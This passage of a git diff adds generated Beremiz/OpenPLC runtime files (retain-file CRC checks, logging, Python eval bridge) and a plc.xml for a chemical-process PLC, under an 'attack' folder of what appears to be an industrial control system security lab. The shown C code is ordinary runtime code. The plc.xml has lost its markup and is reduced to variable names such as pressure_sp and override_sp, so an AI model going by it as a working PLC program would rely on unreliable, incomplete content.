!disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + 